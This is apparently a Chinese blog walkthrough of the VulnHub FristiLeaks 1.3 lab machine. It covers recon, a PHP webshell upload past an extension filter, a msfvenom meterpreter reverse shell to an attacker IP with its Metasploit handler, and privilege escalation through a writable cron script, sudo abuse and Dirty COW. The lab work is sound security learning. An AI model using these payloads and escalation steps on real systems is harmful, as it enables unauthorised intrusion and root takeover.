zoukankan      html  css  js  c++  java
  • VulnHub FristLeaks 1.3

    第一次尝试vulnhub,所以准备参照红日攻防实验室的文章做几次

    本环境文章地址:http://www.sec-redclub.com/archives/741/

    创建好后,我的目标机器ip如下(NAT 处于10.10.10.0/24 网段)

    信息收集

    首先nmap扫描,为了扫描比较充分的信息,我使用以下命令

    nmap -O -Pn -sS 10.10.10.129 
    

    可以看到目标是linux系统,并且开放了80端口web服务端口

    WEB页面

    访问web页面

    先扫描下目录

    发现有robots.txt,cgi-bin,index.htmlimage/目录

    image/目录下有2张图片,keep-calm.pngindex页面的,3037440.jpg是一位老爷爷

    robots.txt下面有3个目录,依次访问后,都是上面的老人的图片

    然后找不到啥有用的信息了,看了writeup,通过index页面的keep clam and Drink firsti的提示访问(这有点脑洞...)

    http://10.10.10.129/firsti/
    

    是一个登录页面

    查看源码发现一堆base64

    解码后发现是图片

    这个又没法用web上的base64与图片互转的在线工具,于是把字符base64解码后输出到文件即可看到图片

    echo 'base64的字符' | base64 -d > 1.png
    

    打开1.png,获取密码

    拿这个密码去登录刚刚的web页面,账号名我最先用admin,没有成功,后面看了源码,发现作者在最上面用注释留了言

    那么用eezeepz做账号就能登录了

    进去后有个文件上传,因为web的后台是php(可以通过response包看到),所以尝试上传php一句话木马

    被拦截了2333

    最后加个后缀可以代码执行了?????

    后渗透

    虽然不知道为什么,还是用蚁剑连接吧,结果连接不上。。。

    最后用file_put_contents('./mi0.php', '<?php $_POST[1];?>');这样的骚方法把shell传上去,能够用蚁剑连接了

    因为强迫症,所以非常想将shell弹成msf的形状

    这里php的msf反弹shell生成有问题,看了google几篇文章好像要对内容进行修改,但是尝试了半天没成功,最后尝试上传linux x86的msf反弹shell,在蚁剑中运行脚本,能够反弹会msf的shell了

    生成木马的命令

    msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=10.10.10.128 LPORT=2333 -f elf -o shell
    

    用蚁剑上传,权限改成777,在命令窗口运行

    能够拿到msf的shell,msf配置

    msf5 > use exploit/multi/handler
    msf5 exploit(multi/handler) > set payload linux/x86/meterpreter_reverse_tcp
    msf5 exploit(multi/handler) > set LPORT 2333
    msf5 exploit(multi/handler) > set LHOST 10.10.10.128
    msf5 exploit(multi/handler) > run
    

    看他内核版本是2.6.32,尝试传个脏牛上去,脏牛使用方法:http://www.bubuko.com/infodetail-2988973.html

    之后再来说这脏牛

    先按照正常的思路去翻翻文件,先到home下去看有哪些用户,并且我们是apache,在web页面的时候就知道是eezeepz,进入后查看文件

    有个note.txt 令我很在意,打开看看

    那么在/tmp/目录下新建1个runthis的文件,并加上以 /home/admin/开头或者/usr/bin/开头的命令就可以以admin的身份去执行加的命令,这里我最先有点蒙,看了wirteup的思路,它是这么写的

    echo "/usr/bin/../../bin/chmod -R 777 /home/admin" > runthis
    

    我后面看了执行这个功能的python脚本才理解了出题人的用意,上面的writeup稍微有点脱了裤子放屁的感觉,这里下面2个命令都可以

    /usr/bin/chmod 777 /home/admin
    /home/admin/chmod 777 /home/admin 	#因为提示说,admin目录下有chmod命令
    

    所以在mef中直接用edit改就行

    然后就可以进入admin文件夹里面了,可以看到这个在/tmp下执行admin权限的python脚本的写法

    当然2个txt文件都看了看,是加密的密文

    加密脚本的内容如下

    对应着写出解密脚本

    import sys
    import base64
    import codecs
    
    crypt = sys.argv[1]
    
    def decodeString(str):
        str = codecs.decode(str, 'rot13')
        return base64.b64decode(str[::-1])
    
    if __name__ == '__main__':
        print decodeString(crypt)
    

    解密内容得的以下2个

    之后的思路就是登陆fristi,在msf中没有找到切换账号的便捷命令,所以只能进入到shell中进行操作,这里的密码是LetThereBeFristi!,直到最后也不知道thisisalsopw123是啥玩意儿

    切换账号需要交互式的shell,因为目标有python,所以可以通过python

    python -c 'import pty;pty.spawn("/bin/sh")'
    

    我翻烂了/home目录,啥都没有,最后看writeup,在/var/firstigod里面才有真正的信息

    看了下目录大概有这几个东西

    /var/fristigod
    |bash_history    			//记录历史操作的
    |secret_admin_stuff 		//一个文件夹
    	|doCom					//一个文件
    

    直接执行doCom文件

    估计使用管理员账号了,查看下bash_history的内容,里面有之前fristigod用户执行的一些命令

    看了一下命令,使用了sudo 获取管理员权限去执行了doCom,主要是doCom还带了ls这个命令参数,因此最后像他这样写命令查看/root目录

    sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /root
    

    最后

    sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom cat /root/fristileks_secrets.txt
    

    获取flag : Y0u_kn0w_y0u_l0ve_fr1st1

    脏牛使用

    在之前上传了脏牛的二进制文件,接下来先切换到交互式模式

    python -c 'import pty;pty.spawn("/bin/sh")'
    

    之后运行脏牛

    ./dirty 123456
    

    成功后用firefart账号登录,密码就是123456,直接获得root权限,可以查看flag了

    小结

    学习了很多后渗透这块的知识,都不难,主要是一个思路。

  • 相关阅读:
    《架构整洁之道》阅读笔记
    设计模式——单例模式
    设计模式——工厂模式使用
    记一次同事安装我自定义一Python3 SDK在window10安装失败情况
    CentOS7常用的一些命令
    Java
    Java
    Java
    Java
    python
  • 原文地址:https://www.cnblogs.com/sijidou/p/13113994.html
Copyright © 2011-2022 走看看